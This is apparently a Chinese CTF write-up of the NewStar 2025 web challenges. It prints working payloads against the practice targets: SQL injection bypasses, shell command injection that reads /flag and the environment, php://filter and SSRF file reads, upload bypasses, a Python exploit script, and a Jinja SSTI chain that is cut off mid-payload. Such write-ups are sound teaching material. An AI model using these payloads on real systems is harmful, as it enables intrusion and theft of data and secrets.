
文章目录
week1
multi-headach3
什么叫机器人控制了我的头?
【难度:简单】
dirsearch
扫目录:

找到/robots.txt
,访问:

访问hidden.php
:

翻译提示,f12
打开捕获流量包,发现flag
:

txt
flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}
strange_login
题目内容:
我当然知道1=1了!?
【难度:简单】

经典登录框,经典提示,万能密码admin' or 1=1 #
:

txt
flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}
宇宙的中心是php
题目内容:
所有光线都逃不出去...但我知道这不会难倒你的
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
访问题目:

发现只是一个页面,习惯性使用f12
,发现打不开,Ctrl+u
也不行,最后使用ctrl+shift+I
打开,发现:

访问s3kret.php
:

php
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}
审计后发现,要求POST
输入newstar2025
的值满足:
intval($answer)
(默认按十进制或通过 (int) 强制转换)不是 47,且intval($answer, 0)
(第二个参数为 0 时让 PHP 自动根据字符串前缀判断进制)等于 47。
输入0x2F
即可满足:

txt
flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}
黑客小W的故事(1)
题目内容:
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
第一个挑战:

抓包发现:

修改count
字段为1000000
:


这里需要截取包然后修改发送,才能正常跳转:
第二关:


看不懂,看提示:

原来是需要get
传参shipin
,参数值为mogubaozi
:

能看懂了,这里post
要传入的应该是前文提到过的guding
:

这里需要使用DELETE
方法传入chongzi
,截取改包:

成功:


访问/Level2_END
,第三关:

与HTTP
协议有关:

根据提示,修改ua
头:

还需要升级版本。
访问/Level4_Sly
:

txt
flag{9fef7934-2c71-4225-813d-849df714c8fa}
我真得控制你了
题目内容:
小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】


审计js
代码:
javascript
// 检查保护层状态
function checkShieldStatus() {
const shield = document.getElementById('shieldOverlay');
const button = document.getElementById('accessButton');
if (!shield) {
button.classList.add('active');
button.disabled = false;
} else {
button.classList.remove('active');
button.disabled = true;
}
}
checkShieldStatus();
setInterval(checkShieldStatus, 500);
document.getElementById('accessButton').addEventListener('click', function() {
if (!document.getElementById('shieldOverlay')) {
document.getElementById('nextLevelForm').submit();
}
});
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
});
(function() {
document.addEventListener('keydown', function(e) {
// F12
if (e.keyCode === 123) {
e.preventDefault();
showDevToolsWarning();
}
// Ctrl+Shift+I (Windows/Linux)
if (e.ctrlKey && e.shiftKey && e.keyCode === 73) {
e.preventDefault();
showDevToolsWarning();
}
// Ctrl+Shift+J (Windows/Linux)
if (e.ctrlKey && e.shiftKey && e.keyCode === 74) {
e.preventDefault();
showDevToolsWarning();
}
// Cmd+Option+I (Mac)
if (e.metaKey && e.altKey && e.keyCode === 73) {
e.preventDefault();
showDevToolsWarning();
}
// Cmd+Option+J (Mac)
if (e.metaKey && e.altKey && e.keyCode === 74) {
e.preventDefault();
showDevToolsWarning();
}
// Ctrl+U (查看源代码)
if (e.ctrlKey && e.keyCode === 85) {
e.preventDefault();
showDevToolsWarning();
}
});
let devtools = false;
const threshold = 160;
function checkDevTools() {
const widthThreshold = window.outerWidth - window.innerWidth > threshold;
const heightThreshold = window.outerHeight - window.innerHeight > threshold;
const orientation = widthThreshold ? 'vertical' : 'horizontal';
if (!(heightThreshold && widthThreshold) &&
((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) ||
widthThreshold || heightThreshold)) {
devtools = true;
showDevToolsWarning();
} else {
devtools = false;
}
}
setInterval(checkDevTools, 1000);
function showDevToolsWarning() {
const warning = document.getElementById('devToolsWarning');
warning.style.display = 'flex';
document.addEventListener('keydown', function closeWarning(e) {
if (e.key === 'Escape') {
warning.style.display = 'none';
document.removeEventListener('keydown', closeWarning);
}
});
}
if (typeof console !== "undefined") {
if (typeof console.log !== 'undefined') {
console.log = function() {};
}
if (typeof console.warn !== 'undefined') {
console.warn = function() {};
}
if (typeof console.error !== 'undefined') {
console.error = function() {};
}
if (typeof console.info !== 'undefined') {
console.info = function() {};
}
}
})();
为了绕过JS
限制,我们在浏览器Console
里运行:
javascript
document.getElementById('nextLevelForm').submit();
这会绕过所有按钮/遮罩限制,直接提交表单

成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111

php
<?php
error_reporting(0);
function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}
if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];
if (is_array($input)) {
die("恭喜掌握新姿势");
}
if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}
if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}
$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}
if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>
审计php
代码:
- 允许的字符只有:
0-9
,*
,/
,~
,(
,)
, 空白。
(由preg_match('/[^\d*\/~()\s]/', $input)
限定) - 禁止 纯数字/空白(
/^[\d\s]+$/
会拒绝),所以必须包含至少一个运算符(*
、/
、~
、()
)。 - 最终执行:
@eval("\$test = $input;");
,判断$test == 2025
。 - flag 来源是环境变量
ICQ_FLAG
(否则返回default_flag
)。
因为 45 ∗ 45 = 2025 45*45=2025 45∗45=2025,且*
属于允许字符,所以payload
为:newstar=45*45
GET
传参即可:

txt
flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}
别笑,你也过不了第二关
题目内容:
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】

前端记分:
javascript
const game = document.getElementById("game");
const player = document.getElementById("player");
const scoreEl = document.getElementById("score");
const levelEl = document.getElementById("level");
let score = 0;
let steps = 0;
let maxSteps = 10; // 每关掉落数量
let targetScores = [30, 1000000]; // 每关目标分数
let currentLevel = 0; // 0 表示第一关
let gameEnded = false;
let finishSpawned = false;
let playerX = 180;
let gateInterval = null;
document.addEventListener("keydown", (e) => {
if (e.key === "ArrowLeft") movePlayer(-100);
if (e.key === "ArrowRight") movePlayer(100);
});
function movePlayer(offset) {
let newX = playerX + offset;
if (newX < 0 || newX > 340) return;
playerX = newX;
player.style.left = playerX + "px";
}
function spawnGate() {
if (steps >= maxSteps || gameEnded || finishSpawned) return;
steps++;
const gate = document.createElement("div");
gate.className = "gate";
let x = Math.random() < 0.5 ? 60 : 260;
gate.style.left = x + "px";
let isAdd = Math.random() < 0.5;
if (isAdd) {
gate.dataset.value = 10;
gate.style.backgroundImage = "url('2.jpg')";
} else {
gate.dataset.value = -10;
gate.style.backgroundImage = "url('1.jpg')";
}
game.appendChild(gate);
let y = 0;
const fall = setInterval(() => {
y += 5;
gate.style.top = y + "px";
const playerRect = player.getBoundingClientRect();
const gateRect = gate.getBoundingClientRect();
if (!(playerRect.right < gateRect.left ||
playerRect.left > gateRect.right ||
playerRect.bottom < gateRect.top ||
playerRect.top > gateRect.bottom)) {
score += parseInt(gate.dataset.value);
scoreEl.innerText = "分数: " + score;
clearInterval(fall);
gate.remove();
if (steps >= maxSteps && !finishSpawned) spawnFinishLine();
}
if (y > 600) {
clearInterval(fall);
gate.remove();
if (steps >= maxSteps && !finishSpawned) spawnFinishLine();
}
}, 50);
}
function spawnFinishLine() {
finishSpawned = true;
const finish = document.createElement("div");
finish.className = "finish-line";
finish.style.left = "0px";
game.appendChild(finish);
let y = 0;
const fall = setInterval(() => {
y += 5;
finish.style.top = y + "px";
const playerRect = player.getBoundingClientRect();
const finishRect = finish.getBoundingClientRect();
if (!(playerRect.right < finishRect.left ||
playerRect.left > finishRect.right ||
playerRect.bottom < finishRect.top ||
playerRect.top > finishRect.bottom)) {
clearInterval(fall);
finish.remove();
endLevel();
}
if (y > 600) {
clearInterval(fall);
finish.remove();
endLevel();
}
}, 50);
}
function endLevel() {
if (gameEnded) return;
clearInterval(gateInterval);
gateInterval = null;
if (score >= targetScores[currentLevel]) {
alert(`恭喜通过第 ${currentLevel + 1} 关!得分: ${score}`);
currentLevel++;
if (currentLevel < targetScores.length) {
// 下一关
resetLevel(currentLevel);
startGame();
} else {
// 全部通关
gameEnded = true;
const formData = new URLSearchParams();
formData.append("score", score);
fetch("/flag.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: formData.toString()
})
.then(res => res.text())
.then(data => {
alert("服务器返回:\n" + data);
})
.catch(err => {
alert("请求失败: " + err);
});
}
} else {
alert(`第 ${currentLevel + 1} 关未达成目标分数 (目标: ${targetScores[currentLevel]}),将重新开始本关!`);
resetLevel(currentLevel);
startGame();
}
}
function resetLevel(levelIndex) {
score = 0;
scoreEl.innerText = "分数: " + score;
steps = 0;
finishSpawned = false;
levelEl.innerText = "关卡: " + (levelIndex + 1);
[...game.querySelectorAll('.gate, .finish-line')].forEach(e => e.remove());
}
function startGame() {
gateInterval = setInterval(spawnGate, 1500);
}
startGame();
document.addEventListener("visibilitychange", () => {
if (document.hidden) {
if (gateInterval) {
clearInterval(gateInterval);
gateInterval = null;
}
} else {
if (!gameEnded && !gateInterval) {
gateInterval = setInterval(spawnGate, 1500);
}
}
});
审计js
代码发现,可以在控制台直接作弊:
javascript
score = 1000000; // 直接满足目标分数
endLevel(); // 触发关卡结束逻辑


txt
flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}
week2
DD加速器
题目内容:
D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器...
【难度:简单】

ping
的命令执行,使用;
拼接:
127.0.0.1; ls

127.0.0.1; cat /flag

瞅瞅环境变量:127.0.0.1; env

txt
flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}
搞点哦润吉吃吃橘
题目内容:
Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题...
【难度:简单】

开局一个登录框,尝试弱口令无果,ctrl+u
查看源代码,发现提示:

html
<!-- 唔...这个密码有点难记,但是我已经记好了 Doro/Doro_nJlPVs_@123 -->

根据提示,抓包查看后端逻辑:


根据验证流程写exp:
python
#!/usr/bin/env python3
# coding: utf-8
import requests
import re
import time
import sys
BASE = "https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"
# 登录表单(你提供的)
LOGIN_PATH = "/login"
START_PATH = "/start_challenge"
VERIFY_PATH = "/verify_token"
USERNAME = "Doro"
PASSWORD = "Doro_nJlPVs_%40123" # 注意:这是示例,生产环境请妥善保管凭据
def login(session: requests.Session) -> bool:
url = BASE + LOGIN_PATH
session.headers.update({
"Origin": BASE,
"Referer": BASE + "/login",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
})
data = f"username={USERNAME}&password={PASSWORD}"
resp = session.post(url, data=data, allow_redirects=False)
print("[login] status:", resp.status_code)
print("[login] headers:", resp.headers)
if "Set-Cookie" in resp.headers and "session=" in resp.headers["Set-Cookie"] and "Expires=Thu, 01 Jan 1970" not in resp.headers["Set-Cookie"]:
print("[login] 登录成功 ->", resp.headers["Set-Cookie"])
return True
print("[login] 登录失败,响应内容:", resp.text[:300])
return False
def fetch_challenge(session: requests.Session):
url = BASE + START_PATH
resp = session.post(url)
print("[start_challenge] status:", resp.status_code)
try:
data = resp.json()
except Exception as e:
print("[start_challenge] 无法解析为 JSON:", e)
print("Response body:", resp.text[:500])
return None
return data
def parse_and_compute_token(data: dict):
# 优先使用单独字段(如果存在)
if "multiplier" in data or "xor_value" in data:
try:
multiplier = int(data.get("multiplier")) if data.get("multiplier") is not None else None
except Exception:
multiplier = None
xor_raw = data.get("xor_value")
xor_value = None
if xor_raw is not None:
try:
if isinstance(xor_raw, str) and xor_raw.lower().startswith("0x"):
xor_value = int(xor_raw, 16)
else:
xor_value = int(xor_raw)
except:
xor_value = None
# 如果 expression 字段存在且包含 time.time() 的指示,优先使用实时 time
expr = data.get("expression", "")
if "time.time" in expr or "int(time.time" in expr:
tsource = int(time.time())
else:
# 没有 time.time 的话,尝试从 expression 中提取第一个数字(作为左侧时间戳)
m = None
if expr:
m = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
if m:
tsource = int(m.group(1))
else:
# 如果没有 expression 且没有明确时间源,使用当前时间(较保险)
tsource = int(time.time())
if multiplier is None:
# 若 multiplier 字段不存在,尝试从 expression 中提取
expr = data.get("expression", "")
m2 = re.search(r'\*\s*(\d+)\s*\)', expr)
if m2:
multiplier = int(m2.group(1))
if multiplier is None or xor_value is None:
raise ValueError("无法从响应中解析 multiplier 或 xor_value。data: {}".format(data))
token = (tsource * multiplier) ^ xor_value
return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "fields_or_expr"}
# 如果没有单独字段,尝试从 expression 字段解析
expr = data.get("expression")
if not expr:
raise ValueError("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}".format(data))
# 判断 expression 是否包含 int(time.time())
if "time.time" in expr:
tsource = int(time.time())
else:
# 尝试提取表达式中的左侧数字(形如 (1759715000 * 53475) )
m_time = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
if m_time:
tsource = int(m_time.group(1))
else:
# 兜底使用当前时间
tsource = int(time.time())
# 提取 multiplier
m_mul = re.search(r'\*\s*(\d+)\s*\)', expr)
if not m_mul:
raise ValueError("无法从 expression 提取 multiplier。expr: {}".format(expr))
multiplier = int(m_mul.group(1))
# 提取 xor 值(支持 0xHEX 或 十进制)
m_xor = re.search(r'\^\s*(0x[0-9a-fA-F]+|\d+)', expr)
if not m_xor:
raise ValueError("无法从 expression 提取 xor_value。expr: {}".format(expr))
xor_raw = m_xor.group(1)
xor_value = int(xor_raw, 16) if xor_raw.lower().startswith("0x") else int(xor_raw)
token = (tsource * multiplier) ^ xor_value
return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "expr"}
def submit_token(session: requests.Session, token):
url = BASE + VERIFY_PATH
payload = {"token": token}
# 显式声明本次请求为 JSON,覆盖全局 Content-Type
resp = session.post(url, json=payload, headers={"Content-Type": "application/json"})
print("[verify_token] status:", resp.status_code)
try:
print("[verify_token] json:", resp.json())
except Exception:
print("[verify_token] text:", resp.text[:1000])
return resp
def main():
s = requests.Session()
s.headers.update({
"User-Agent": "auto-token-bot/1.0",
"Accept": "*/*",
})
ok = login(s)
if not ok:
print("登录失败,停止。请检查用户名/密码或网络。")
return
data = fetch_challenge(s)
if data is None:
print("无法获取挑战数据,停止。")
return
print("challenge data:", data)
try:
token, info = parse_and_compute_token(data)
except Exception as e:
print("解析/计算 token 失败:", e)
return
print("计算得到 token =", token, "(详情:", info, ")")
# 立即提交
resp = submit_token(s, token)
if __name__ == "__main__":
main()

txt
flag{c596b46c-3c82-4416-9e70-538104015062}
白帽小K的故事(1)
题目内容:
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】

文件上传漏洞,前端校验,抓包修改后缀名



通过/v1/onload
接口获取上传路径


确定上传成功,但是不知道为何无法利用,没办法,只能上传执行phpinfo()
试试:

成功解析:

复制为html
文件:

txt
flag{741a9681-2e6c-4486-b767-557e907c8863}
小E的管理系统
题目内容:
小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接------你能绕过小E的防火墙,拿到数据库里的秘密吗?
【难度:困难】
本题考查sql
注入过滤与报错注入:

防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:
使用%0a
绕过空格

发现没有databases()
函数,猜测可能不是mysql
数据库,经过探测,确定是sqllite
:

这里是因为查询列数与显示不一样,所以报错,接下来探测列数:

确定是5
列,构造:
sql
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT 2) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
替换空格:
sql
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

查询数据库版本号:
sql
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT sqlite_version()) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
sql
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

查看表名和字段名:
sql
sql from sqlite_master
sql
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asql%0afrom%0asqlite_master)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

发现有一个sys_config
表,表内的字段为:id
,config_key
,config_value
。
使用
sql
select * from user_data
因为这里,
被ban
了,*
的话无法输出,只能挨个查询具体的值,最后使用:
sql
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (select config_value from sys_config) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
# 编码后
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(select%0aconfig_value%0afrom%0asys_config)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

txt
flag{1148f076-61cb-457a-818f-d910ef21b142}
真的是签到诶
题目内容:
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
访问拿到:
php
<?php
highlight_file(__FILE__);
$cipher = $_POST['cipher'] ?? '';
function atbash($text) {
$result = '';
foreach (str_split($text) as $char) {
if (ctype_alpha($char)) {
$is_upper = ctype_upper($char);
$base = $is_upper ? ord('A') : ord('a');
$offset = ord(strtolower($char)) - ord('a');
$new_char = chr($base + (25 - $offset));
$result .= $new_char;
} else {
$result .= $char;
}
}
return $result;
}
if ($cipher) {
$cipher = base64_decode($cipher);
$encoded = atbash($cipher);
$encoded = str_replace(' ', '', $encoded);
$encoded = str_rot13($encoded);
@eval($encoded);
exit;
}
$question = "真的是签到吗?";
$answer = "真的很签到诶!";
$res = $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;
?> 真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
审计后发现,这是一个webshell
解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的payload
:
shell
cat /flag
scss
cipher (Base64 输入)
↓ base64_decode
↓ Atbash (字母翻转)
↓ 去掉空格
↓ str_rot13
↓ eval()
txt
dW91dGlhKCJrbXRcMDQwL2hibWciKTs=

txt
flag{8b3bf25f-b724-4f06-9197-ba25bd749249}
week3
ez-chain
题目内容:
铁索连环!无懈可击...?
【难度:简单】
php
<?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
$waf = array('/',':','php','base64','data','zip','rar','filter','flag');
foreach ($waf as $waf_word) {
if (stripos($file, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}
function filter_output($data) {
$waf = array('f');
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
while (true) {
$decoded = base64_decode($data, true);
if ($decoded === false || $decoded === $data) {
break;
}
$data = $decoded;
}
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (filter($file) !== true) {
die();
}
$file = urldecode($file);
$data = file_get_contents($file);
if (filter_output($data) !== true) {
die();
}
echo $data;
}
highlight_file(__FILE__);
?>
审计发现,漏洞点在file_get_contents
,可以使用伪协议进行任意文件读取,但是waf
限制了部分伪协议,并且要求读到的文件内容中不能带有f
字样.
分析程序逻辑,首先读入file
参数值:
php
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (filter($file) !== true) {
die();
}
$file = urldecode($file);
$data = file_get_contents($file);
if (filter_output($data) !== true) {
die();
}
echo $data;
}
首先进入filter
函数中:
php
function filter($file) {
$waf = array('/',':','php','base64','data','zip','rar','filter','flag');
foreach ($waf as $waf_word) {
if (stripos($file, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}
这里会不分大小写,匹配这些字符,如果匹配,程序退出,绕过这里,只需要url
双重编码即可.
接下来经过一次url
解码,执行file_get_contents()
后,进入filter_output()
php
function filter_output($data) {
$waf = array('f');
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
while (true) {
$decoded = base64_decode($data, true);
if ($decoded === false || $decoded === $data) {
break;
}
$data = $decoded;
}
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}
它会对读取文件的内容进行判断,匹配是否存在f
,也不区分大小写.然后,如果是被base64
编码过的内容,就会循环解码,直到不能解码为止.
所以我们的思路很明确,利用url
双重编码使用php://filter
伪协议读取文件内容,然后对文件内容先进行rot13
编码读取flag.
payload
:
txt
php://filter/string.rot13/resource=/flag
url
https://eci-2zeblwpcf451usd1p6ji.cloudeci1.ichunqiu.com:80/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37
txt
flag{8847b675-528e-4ee8-aab6-ff3a854b53bc}
mygo!!!
题目内容:
mygo的音乐好好听,要全部下下来,flag也可以顺手(
【难度:简单】

访问题目,点了首歌,听起来不错,源码中发现异常:
原来是ssrf
,但是限制http
协议,

扫描目录发现有flag.php
,但是直接访问是403
.

所以使用ssrf
访问:

php
<?php
$client_ip = $_SERVER['REMOTE_ADDR'];
// 只允许本地访问
if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') {
header('HTTP/1.1 403 Forbidden');
echo "你是外地人,我只要\"本地\"人";
exit;
}
highlight_file(__FILE__);
if (isset($_GET['soyorin'])) {
$url = $_GET['soyorin'];
echo "flag在根目录";
// 普通请求
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出给浏览器
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
curl_exec($ch);
curl_close($ch);
exit;
}
?>
审计一下,发现可以利用前面可转发的ssrf
来绕过本地访问,剩下的伪协议直接出:
url
https://eci-2ze30n5xe2nckmepbw6d.cloudeci1.ichunqiu.com:80/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag

txt
flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f}
小E的秘密计划
题目内容:
小E最近在秘密研发一个代号为"Project X"的系统。然而,小E在开发和部署过程中,习惯性地留下了许多"不经意"的痕迹------无论是临时的备份,还是版本管理上的小疏忽,甚至是Mac系统自动生成的文件,都可能成为你解开"Project X"秘密的关键...
【难度:简单】

静态页面,没啥好看的,直接开扫:

发现存在系统备份文件,访问下载:

可以直接访问public
,进入到登录页面,已经提醒无法爆破,只能另寻他法.

进入到public
目录下,发现存在.git
文件夹,想到可能是考的git
泄露.
bash
git log
查看提交记录:

使用
bash
git show --name-only commit
看到删除的提示:

bash
git show -p
查看删除的文件内容:

好像没有,返回来审计login.php
,发现
php
<?php
require_once 'user.php';
$userData = getUserData();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
if ($username === $userData['username'] && $password === $userData['password']) {
header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
exit();
} else {
echo '登录失败,在git里找找吧';
exit();
}
}
账号密码都在user.php
中,所以需要从git
中恢复user.php
.
在.git/logs/HEAD
文件中发现其中隐含一个测试的brach
,会被删除.

查看这个提交:
bash
git ls-tree -r --name-only 353b98f7c2fe77a5a426bf73576f5113820c4669

使用git show commit -b
查看文件内容

用户名密码为:admin/f75cc3eb-21e0-4713-9c30-998a8edb13de

进入之后提示mac
,所以是.DS_Store
文件泄露,直接在当前路径拼接下载并查看内容:

拼接中间的ffffllllaaaagggg114514
,拿到flag

txt
flag{e08813e1-a595-464c-85c5-67b474f83601}
mirror_gate
题目内容:
小M是一名安全爱好者,他为自己搭建了一个个人文件上传服务。他声称:"我的服务器只允许上传合法且安全的文件,其他任何类型的文件都会被无情地拒绝!"
然而,真的是这样吗?请设法找出他系统中的应用配置缺陷,突破上传限制。
【难度:中等】
文件上传,并且支持上传的类型为:

后端进行类型及文件内容的校验,所以只能看允许的文件内有没有可以解析的,先绕过内容检测:
php
<?
phpinfo();
?>

对<?php
有过滤,将允许的文件后缀挨个改包然后访问查看响应结果,发现.webp
可以被解析



txt
flag{fd8af3ec-7983-4724-ad82-e3f84149346f}
who'ssti
题目内容:
写代码的时候调试忘记删了!?算了不管了!S 属性大爆发!快来和我一起 SSTI 吧!
【难度:中等】
python
from flask import Flask, jsonify, request, render_template_string, render_template
import sys, random
func_List = ["get_close_matches", "dedent", "fmean",
"listdir", "search", "randint", "load", "sum",
"findall", "mean", "choice"]
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)
BoleanFlag = False
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = ""
def trace_calls(frame, event, arg):
if event == 'call':
func_name = frame.f_code.co_name
# print(func_name)
if func_name in need_List:
need_List[func_name] = 1
if all(need_List.values()):
global BoleanFlag
BoleanFlag = True
return trace_calls
app = Flask(__name__)
@app.route('/', methods=["GET", "POST"])
def index():
submit = request.form.get('submit')
if submit:
sys.settrace(trace_calls)
print(render_template_string(submit))
sys.settrace(None)
if BoleanFlag:
return jsonify({"flag": RealFlag})
return jsonify({"status": "OK"})
return render_template_string('''<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>首页</title>
</head>
<body>
<h1>提交你的代码,让后端看看你的厉害!</h1>
<form action="/" method="post">
<label for="submit">提交一下:</label>
<input type="text" id="submit" name="submit" required>
<button type="submit">提交</button>
</form>
<div style="margin-top: 20px;">
<p> 尝试调用到这些函数! </p>
{% for func in funcList %}
<p>{{ func }}</p>
{% endfor %}
<div style="margin-top: 20px; color: red;">
<p> 你目前已经调用了 {{ called_funcs|length }} 个函数:</p>
<ul>
{% for func in called_funcs %}
<li>{{ func }}</li>
{% endfor %}
</ul>
</div>
</body>
<script>
</script>
</html>
'''
,
funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
ai
一把梭:
python
{% set __imp = ''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['__builtins__']['__import__'] %}
{% set _os = __imp('os') %}
{% set _re = __imp('re') %}
{% set _difflib = __imp('difflib') %}
{% set _textwrap = __imp('textwrap') %}
{% set _statistics = __imp('statistics') %}
{% set _random = __imp('random') %}
{% set _json = __imp('json') %}
{% set _io = __imp('io') %}
{# 通过 io.StringIO 提供一个可读的 JSON 文件对象,以便触发 json.load 的函数名 "load" #}
{% set _f = _io.StringIO('"x"') %}
{# 下面依次调用目标函数(尽量覆盖 need_List 里可能的名字) #}
